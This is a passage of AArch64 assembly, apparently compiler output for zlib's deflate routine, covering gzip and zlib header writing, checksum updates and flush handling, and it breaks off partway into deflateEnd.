.L1719:
mov w0, 8
str w0, [sp, 60]
.L1720:
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1721
str wzr, [sp, 64]
b .L1722
.L1721:
mov w0, 16
str w0, [sp, 64]
.L1722:
ldr w0, [sp, 48]
and w1, w0, 255
ldr w0, [sp, 52]
and w0, w0, 255
add w0, w1, w0
and w1, w0, 255
ldr w0, [sp, 56]
and w0, w0, 255
add w0, w1, w0
and w1, w0, 255
ldr w0, [sp, 60]
and w0, w0, 255
add w0, w1, w0
and w2, w0, 255
ldr w0, [sp, 64]
and w1, w0, 255
ldr x0, [sp, 264]
ldr x3, [x0, 16]
ldr w0, [sp, 132]
add x0, x3, x0
add w1, w2, w1
and w1, w1, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 136]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x2, [x0, 8]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 136]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 140]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x0, [x0, 8]
lsr x2, x0, 8
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 140]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 144]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x0, [x0, 8]
lsr x2, x0, 16
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 144]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 148]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x0, [x0, 8]
lsr x2, x0, 24
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 148]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 152]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr w0, [x0, 180]
cmp w0, 9
bne .L1723
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 152]
add x0, x1, x0
mov w1, 2
strb w1, [x0]
b .L1724
.L1723:
ldr x0, [sp, 264]
ldr w0, [x0, 184]
cmp w0, 1
ble .L1725
mov w0, 4
str w0, [sp, 68]
b .L1726
.L1725:
ldr x0, [sp, 264]
ldr w0, [x0, 180]
cmp w0, 1
bgt .L1727
mov w0, 4
str w0, [sp, 68]
b .L1726
.L1727:
str wzr, [sp, 68]
.L1726:
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 152]
add x0, x1, x0
ldr w1, [sp, 68]
and w1, w1, 255
strb w1, [x0]
.L1724:
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 156]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w2, [x0, 20]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 156]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x0, [x0, 24]
cmp x0, 0
beq .L1728
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 160]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w2, [x0, 32]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 160]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 164]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 32]
lsr w2, w0, 8
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 164]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
.L1728:
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 68]
cmp w0, 0
beq .L1729
ldr x0, [sp, 24]
ldr x3, [x0, 96]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
mov w2, w0
mov x0, x3
bl crc32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
.L1729:
ldr x0, [sp, 264]
str wzr, [x0, 56]
ldr x0, [sp, 264]
mov w1, 69
str w1, [x0, 8]
b .L1705
.L1706:
ldr x0, [sp, 264]
ldr w0, [x0, 72]
sub w0, w0, #8
lsl w0, w0, 4
add w0, w0, 8
lsl w0, w0, 8
str w0, [sp, 72]
ldr x0, [sp, 264]
ldr w0, [x0, 184]
cmp w0, 1
ble .L1730
str wzr, [sp, 76]
b .L1731
.L1730:
ldr x0, [sp, 264]
ldr w0, [x0, 180]
cmp w0, 1
bgt .L1732
str wzr, [sp, 76]
b .L1731
.L1732:
ldr x0, [sp, 264]
ldr w0, [x0, 180]
cmp w0, 5
bgt .L1733
mov w0, 1
str w0, [sp, 76]
b .L1731
.L1733:
ldr x0, [sp, 264]
ldr w0, [x0, 180]
cmp w0, 6
bne .L1734
mov w0, 2
str w0, [sp, 76]
b .L1731
.L1734:
mov w0, 3
str w0, [sp, 76]
.L1731:
ldr w0, [sp, 76]
lsl w0, w0, 6
ldr w1, [sp, 72]
orr w0, w1, w0
str w0, [sp, 72]
ldr x0, [sp, 264]
ldr w0, [x0, 156]
cmp w0, 0
beq .L1735
ldr w0, [sp, 72]
orr w0, w0, 32
str w0, [sp, 72]
.L1735:
ldr w2, [sp, 72]
mov w0, 4229
movk w0, 0x842, lsl 16
umull x0, w2, w0
lsr x0, x0, 32
sub w1, w2, w0
lsr w1, w1, 1
add w0, w1, w0
lsr w1, w0, 4
mov w0, w1
lsl w0, w0, 5
sub w0, w0, w1
sub w1, w2, w0
ldr w0, [sp, 72]
sub w0, w0, w1
add w0, w0, 31
str w0, [sp, 72]
ldr x0, [sp, 264]
mov w1, 113
str w1, [x0, 8]
ldr w1, [sp, 72]
ldr x0, [sp, 264]
bl putShortMSB
ldr x0, [sp, 264]
ldr w0, [x0, 156]
cmp w0, 0
beq .L1736
ldr x0, [sp, 24]
ldr x0, [x0, 96]
lsr x0, x0, 16
mov w1, w0
ldr x0, [sp, 264]
bl putShortMSB
ldr x0, [sp, 24]
ldr x0, [x0, 96]
and w0, w0, 65535
mov w1, w0
ldr x0, [sp, 264]
bl putShortMSB
.L1736:
mov w2, 0
mov x1, 0
mov x0, 0
bl adler32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
.L1705:
ldr x0, [sp, 264]
ldr w0, [x0, 8]
cmp w0, 69
bne .L1737
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x0, [x0, 24]
cmp x0, 0
beq .L1738
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 80]
b .L1739
.L1743:
ldr x0, [sp, 264]
ldr w0, [x0, 40]
uxtw x1, w0
ldr x0, [sp, 264]
ldr x0, [x0, 24]
cmp x1, x0
bne .L1740
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 68]
cmp w0, 0
beq .L1741
ldr x0, [sp, 264]
ldr w0, [x0, 40]
ldr w1, [sp, 80]
cmp w1, w0
bcs .L1741
ldr x0, [sp, 24]
ldr x3, [x0, 96]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 80]
add x4, x1, x0
ldr x0, [sp, 264]
ldr w1, [x0, 40]
ldr w0, [sp, 80]
sub w0, w1, w0
mov w2, w0
mov x1, x4
mov x0, x3
bl crc32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
.L1741:
ldr x0, [sp, 24]
bl flush_pending
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 80]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
uxtw x1, w0
ldr x0, [sp, 264]
ldr x0, [x0, 24]
cmp x1, x0
beq .L1802
.L1740:
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 196]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x1, [x0, 24]
ldr x0, [sp, 264]
ldr w0, [x0, 56]
uxtw x0, w0
add x1, x1, x0
ldr x0, [sp, 264]
ldr x2, [x0, 16]
ldr w0, [sp, 196]
add x0, x2, x0
ldrb w1, [x1]
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 56]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 56]
.L1739:
ldr x0, [sp, 264]
ldr w1, [x0, 56]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 32]
and w0, w0, 65535
cmp w1, w0
bcc .L1743
b .L1742
.L1802:
nop
.L1742:
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 68]
cmp w0, 0
beq .L1744
ldr x0, [sp, 264]
ldr w0, [x0, 40]
ldr w1, [sp, 80]
cmp w1, w0
bcs .L1744
ldr x0, [sp, 24]
ldr x3, [x0, 96]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 80]
add x4, x1, x0
ldr x0, [sp, 264]
ldr w1, [x0, 40]
ldr w0, [sp, 80]
sub w0, w1, w0
mov w2, w0
mov x1, x4
mov x0, x3
bl crc32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
.L1744:
ldr x0, [sp, 264]
ldr w1, [x0, 56]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 32]
cmp w1, w0
bne .L1737
ldr x0, [sp, 264]
str wzr, [x0, 56]
ldr x0, [sp, 264]
mov w1, 73
str w1, [x0, 8]
b .L1737
.L1738:
ldr x0, [sp, 264]
mov w1, 73
str w1, [x0, 8]
.L1737:
ldr x0, [sp, 264]
ldr w0, [x0, 8]
cmp w0, 73
bne .L1745
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x0, [x0, 40]
cmp x0, 0
beq .L1746
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 84]
.L1751:
ldr x0, [sp, 264]
ldr w0, [x0, 40]
uxtw x1, w0
ldr x0, [sp, 264]
ldr x0, [x0, 24]
cmp x1, x0
bne .L1747
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 68]
cmp w0, 0
beq .L1748
ldr x0, [sp, 264]
ldr w0, [x0, 40]
ldr w1, [sp, 84]
cmp w1, w0
bcs .L1748
ldr x0, [sp, 24]
ldr x3, [x0, 96]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 84]
add x4, x1, x0
ldr x0, [sp, 264]
ldr w1, [x0, 40]
ldr w0, [sp, 84]
sub w0, w1, w0
mov w2, w0
mov x1, x4
mov x0, x3
bl crc32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
.L1748:
ldr x0, [sp, 24]
bl flush_pending
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 84]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
uxtw x1, w0
ldr x0, [sp, 264]
ldr x0, [x0, 24]
cmp x1, x0
bne .L1747
mov w0, 1
str w0, [sp, 88]
b .L1749
.L1747:
ldr x0, [sp, 264]
ldr w0, [x0, 56]
str w0, [sp, 200]
ldr x0, [sp, 264]
ldr w0, [x0, 56]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 56]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x1, [x0, 40]
ldr w0, [sp, 200]
add x0, x1, x0
ldrb w0, [x0]
str w0, [sp, 88]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 204]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 204]
add x0, x1, x0
ldr w1, [sp, 88]
and w1, w1, 255
strb w1, [x0]
ldr w0, [sp, 88]
cmp w0, 0
beq .L1803
b .L1751
.L1803:
nop
.L1749:
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 68]
cmp w0, 0
beq .L1752
ldr x0, [sp, 264]
ldr w0, [x0, 40]
ldr w1, [sp, 84]
cmp w1, w0
bcs .L1752
ldr x0, [sp, 24]
ldr x3, [x0, 96]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 84]
add x4, x1, x0
ldr x0, [sp, 264]
ldr w1, [x0, 40]
ldr w0, [sp, 84]
sub w0, w1, w0
mov w2, w0
mov x1, x4
mov x0, x3
bl crc32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
.L1752:
ldr w0, [sp, 88]
cmp w0, 0
bne .L1745
ldr x0, [sp, 264]
str wzr, [x0, 56]
ldr x0, [sp, 264]
mov w1, 91
str w1, [x0, 8]
b .L1745
.L1746:
ldr x0, [sp, 264]
mov w1, 91
str w1, [x0, 8]
.L1745:
ldr x0, [sp, 264]
ldr w0, [x0, 8]
cmp w0, 91
bne .L1753
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x0, [x0, 56]
cmp x0, 0
beq .L1754
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 92]
.L1759:
ldr x0, [sp, 264]
ldr w0, [x0, 40]
uxtw x1, w0
ldr x0, [sp, 264]
ldr x0, [x0, 24]
cmp x1, x0
bne .L1755
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 68]
cmp w0, 0
beq .L1756
ldr x0, [sp, 264]
ldr w0, [x0, 40]
ldr w1, [sp, 92]
cmp w1, w0
bcs .L1756
ldr x0, [sp, 24]
ldr x3, [x0, 96]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 92]
add x4, x1, x0
ldr x0, [sp, 264]
ldr w1, [x0, 40]
ldr w0, [sp, 92]
sub w0, w1, w0
mov w2, w0
mov x1, x4
mov x0, x3
bl crc32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
.L1756:
ldr x0, [sp, 24]
bl flush_pending
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 92]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
uxtw x1, w0
ldr x0, [sp, 264]
ldr x0, [x0, 24]
cmp x1, x0
bne .L1755
mov w0, 1
str w0, [sp, 96]
b .L1757
.L1755:
ldr x0, [sp, 264]
ldr w0, [x0, 56]
str w0, [sp, 208]
ldr x0, [sp, 264]
ldr w0, [x0, 56]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 56]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x1, [x0, 56]
ldr w0, [sp, 208]
add x0, x1, x0
ldrb w0, [x0]
str w0, [sp, 96]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 212]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 212]
add x0, x1, x0
ldr w1, [sp, 96]
and w1, w1, 255
strb w1, [x0]
ldr w0, [sp, 96]
cmp w0, 0
beq .L1804
b .L1759
.L1804:
nop
.L1757:
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 68]
cmp w0, 0
beq .L1760
ldr x0, [sp, 264]
ldr w0, [x0, 40]
ldr w1, [sp, 92]
cmp w1, w0
bcs .L1760
ldr x0, [sp, 24]
ldr x3, [x0, 96]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 92]
add x4, x1, x0
ldr x0, [sp, 264]
ldr w1, [x0, 40]
ldr w0, [sp, 92]
sub w0, w1, w0
mov w2, w0
mov x1, x4
mov x0, x3
bl crc32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
.L1760:
ldr w0, [sp, 96]
cmp w0, 0
bne .L1753
ldr x0, [sp, 264]
mov w1, 103
str w1, [x0, 8]
b .L1753
.L1754:
ldr x0, [sp, 264]
mov w1, 103
str w1, [x0, 8]
.L1753:
ldr x0, [sp, 264]
ldr w0, [x0, 8]
cmp w0, 103
bne .L1761
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 68]
cmp w0, 0
beq .L1762
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w0, w0, 2
uxtw x1, w0
ldr x0, [sp, 264]
ldr x0, [x0, 24]
cmp x1, x0
bls .L1763
ldr x0, [sp, 24]
bl flush_pending
.L1763:
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w0, w0, 2
uxtw x1, w0
ldr x0, [sp, 264]
ldr x0, [x0, 24]
cmp x1, x0
bhi .L1761
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 216]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldr x2, [x0, 96]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 216]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 220]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldr x0, [x0, 96]
lsr x2, x0, 8
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 220]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
mov w2, 0
mov x1, 0
mov x0, 0
bl crc32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
ldr x0, [sp, 264]
mov w1, 113
str w1, [x0, 8]
b .L1761
.L1762:
ldr x0, [sp, 264]
mov w1, 113
str w1, [x0, 8]
.L1761:
ldr x0, [sp, 264]
ldr w0, [x0, 40]
cmp w0, 0
beq .L1764
ldr x0, [sp, 24]
bl flush_pending
ldr x0, [sp, 24]
ldr w0, [x0, 32]
cmp w0, 0
bne .L1765
ldr x0, [sp, 264]
mov w1, -1
str w1, [x0, 64]
str wzr, [sp, 36]
b .L1698
.L1764:
ldr x0, [sp, 24]
ldr w0, [x0, 8]
cmp w0, 0
bne .L1765
ldr w0, [sp, 20]
cmp w0, 4
ble .L1766
mov w0, 9
str w0, [sp, 100]
b .L1767
.L1766:
str wzr, [sp, 100]
.L1767:
ldr w0, [sp, 116]
cmp w0, 4
ble .L1768
mov w0, 9
str w0, [sp, 104]
b .L1769
.L1768:
str wzr, [sp, 104]
.L1769:
ldr w0, [sp, 20]
lsl w1, w0, 1
ldr w0, [sp, 100]
sub w1, w1, w0
ldr w0, [sp, 116]
lsl w2, w0, 1
ldr w0, [sp, 104]
sub w0, w2, w0
cmp w1, w0
bgt .L1765
ldr w0, [sp, 20]
cmp w0, 4
beq .L1765
adrp x0, .LC17
add x1, x0, :lo12:.LC17
ldr x0, [sp, 24]
str x1, [x0, 48]
mov w0, -5
str w0, [sp, 36]
b .L1698
.L1765:
ldr x0, [sp, 264]
ldr w0, [x0, 8]
cmp w0, 666
bne .L1770
ldr x0, [sp, 24]
ldr w0, [x0, 8]
cmp w0, 0
beq .L1770
adrp x0, .LC17
add x1, x0, :lo12:.LC17
ldr x0, [sp, 24]
str x1, [x0, 48]
mov w0, -5
str w0, [sp, 36]
b .L1698
.L1770:
ldr x0, [sp, 24]
ldr w0, [x0, 8]
cmp w0, 0
bne .L1805
ldr x0, [sp, 264]
ldr w0, [x0, 164]
cmp w0, 0
bne .L1806
ldr w0, [sp, 20]
cmp w0, 0
beq .L1774
ldr x0, [sp, 264]
ldr w0, [x0, 8]
cmp w0, 666
beq .L1774
b .L1772
.L1805:
nop
b .L1772
.L1806:
nop
.L1772:
ldr x0, [sp, 264]
ldr w0, [x0, 184]
cmp w0, 2
bne .L1775
ldr w1, [sp, 20]
ldr x0, [sp, 264]
bl deflate_huff
str w0, [sp, 108]
b .L1776
.L1775:
ldr x0, [sp, 264]
ldr w0, [x0, 184]
cmp w0, 3
bne .L1777
ldr w1, [sp, 20]
ldr x0, [sp, 264]
bl deflate_rle
str w0, [sp, 228]
ldr w0, [sp, 228]
str w0, [sp, 112]
b .L1778
.L1777:
ldr x0, [sp, 264]
ldr w2, [x0, 180]
adrp x0, configuration_table
add x1, x0, :lo12:configuration_table
sxtw x0, w2
lsl x0, x0, 4
add x0, x1, x0
ldr x2, [x0, 8]
ldr w1, [sp, 20]
ldr x0, [sp, 264]
blr x2
str w0, [sp, 224]
ldr w0, [sp, 224]
str w0, [sp, 112]
.L1778:
ldr w0, [sp, 112]
str w0, [sp, 108]
.L1776:
ldr w0, [sp, 108]
cmp w0, 2
beq .L1807
ldr w0, [sp, 108]
cmp w0, 3
bne .L1781
b .L1780
.L1807:
nop
.L1780:
ldr x0, [sp, 264]
mov w1, 666
str w1, [x0, 8]
.L1781:
ldr w0, [sp, 108]
cmp w0, 0
beq .L1808
ldr w0, [sp, 108]
cmp w0, 2
bne .L1784
b .L1783
.L1808:
nop
.L1783:
ldr x0, [sp, 24]
ldr w0, [x0, 32]
cmp w0, 0
bne .L1785
ldr x0, [sp, 264]
mov w1, -1
str w1, [x0, 64]
.L1785:
str wzr, [sp, 36]
b .L1698
.L1784:
ldr w0, [sp, 108]
cmp w0, 1
bne .L1774
ldr w0, [sp, 20]
cmp w0, 1
bne .L1786
ldr x0, [sp, 264]
bl _tr_align
b .L1787
.L1786:
ldr w0, [sp, 20]
cmp w0, 5
beq .L1787
mov w3, 0
mov x2, 0
mov x1, 0
ldr x0, [sp, 264]
bl _tr_stored_block
ldr w0, [sp, 20]
cmp w0, 3
bne .L1787
ldr x0, [sp, 264]
ldr x1, [x0, 104]
ldr x0, [sp, 264]
ldr w0, [x0, 116]
sub w0, w0, #1
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
strh wzr, [x0]
ldr x0, [sp, 264]
ldr x3, [x0, 104]
ldr x0, [sp, 264]
ldr w0, [x0, 116]
sub w0, w0, #1
lsl w0, w0, 1
mov w2, w0
mov w1, 0
mov x0, x3
bl memset
ldr x0, [sp, 264]
ldr w0, [x0, 164]
cmp w0, 0
bne .L1787
ldr x0, [sp, 264]
str wzr, [x0, 156]
ldr x0, [sp, 264]
str xzr, [x0, 136]
ldr x0, [sp, 264]
str wzr, [x0, 5916]
.L1787:
ldr x0, [sp, 24]
bl flush_pending
ldr x0, [sp, 24]
ldr w0, [x0, 32]
cmp w0, 0
bne .L1774
ldr x0, [sp, 264]
mov w1, -1
str w1, [x0, 64]
str wzr, [sp, 36]
b .L1698
.L1774:
ldr w0, [sp, 20]
cmp w0, 4
beq .L1788
str wzr, [sp, 36]
b .L1698
.L1788:
ldr x0, [sp, 264]
ldr w0, [x0, 44]
cmp w0, 0
bgt .L1789
mov w0, 1
str w0, [sp, 36]
b .L1698
.L1789:
ldr x0, [sp, 264]
ldr w0, [x0, 44]
cmp w0, 2
bne .L1790
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 232]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldr x2, [x0, 96]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 232]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 236]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldr x0, [x0, 96]
lsr x2, x0, 8
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 236]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 240]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldr x0, [x0, 96]
lsr x2, x0, 16
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 240]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 244]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldr x0, [x0, 96]
lsr x2, x0, 24
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 244]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 248]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldr x2, [x0, 16]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 248]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 252]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldr x0, [x0, 16]
lsr x2, x0, 8
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 252]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 256]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldr x0, [x0, 16]
lsr x2, x0, 16
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 256]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 260]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 24]
ldr x0, [x0, 16]
lsr x2, x0, 24
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 260]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
b .L1791
.L1790:
ldr x0, [sp, 24]
ldr x0, [x0, 96]
lsr x0, x0, 16
mov w1, w0
ldr x0, [sp, 264]
bl putShortMSB
ldr x0, [sp, 24]
ldr x0, [x0, 96]
and w0, w0, 65535
mov w1, w0
ldr x0, [sp, 264]
bl putShortMSB
.L1791:
ldr x0, [sp, 24]
bl flush_pending
ldr x0, [sp, 264]
ldr w0, [x0, 44]
cmp w0, 0
ble .L1792
ldr x0, [sp, 264]
ldr w0, [x0, 44]
neg w1, w0
ldr x0, [sp, 264]
str w1, [x0, 44]
.L1792:
ldr x0, [sp, 264]
ldr w0, [x0, 40]
cmp w0, 0
beq .L1793
str wzr, [sp, 40]
b .L1794
.L1793:
mov w0, 1
str w0, [sp, 40]
.L1794:
ldr w0, [sp, 40]
str w0, [sp, 36]
.L1698:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 272
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE109:
.size deflate, .-deflate
.align 2
.global deflateEnd
.type deflateEnd, %function
deflateEnd:
.LFB110:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L1810
mov w0, -2
str w0, [sp, 36]
b .L1811
.L1810:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1812
mov w0, -2
str w0, [sp, 36]
b .L1811
.L1812:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
ldr w0, [x0, 8]
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 42
beq .L1813
ldr w0, [sp, 44]
cmp w0, 69
beq .L1813
ldr w0, [sp, 44]
cmp w0, 73
beq .L1813
ldr w0, [sp, 44]
cmp w0, 91
beq .L1813
ldr w0, [sp, 44]
cmp w0, 103
beq .L1813
ldr w0, [sp, 44]
cmp w0, 113
beq .L1813
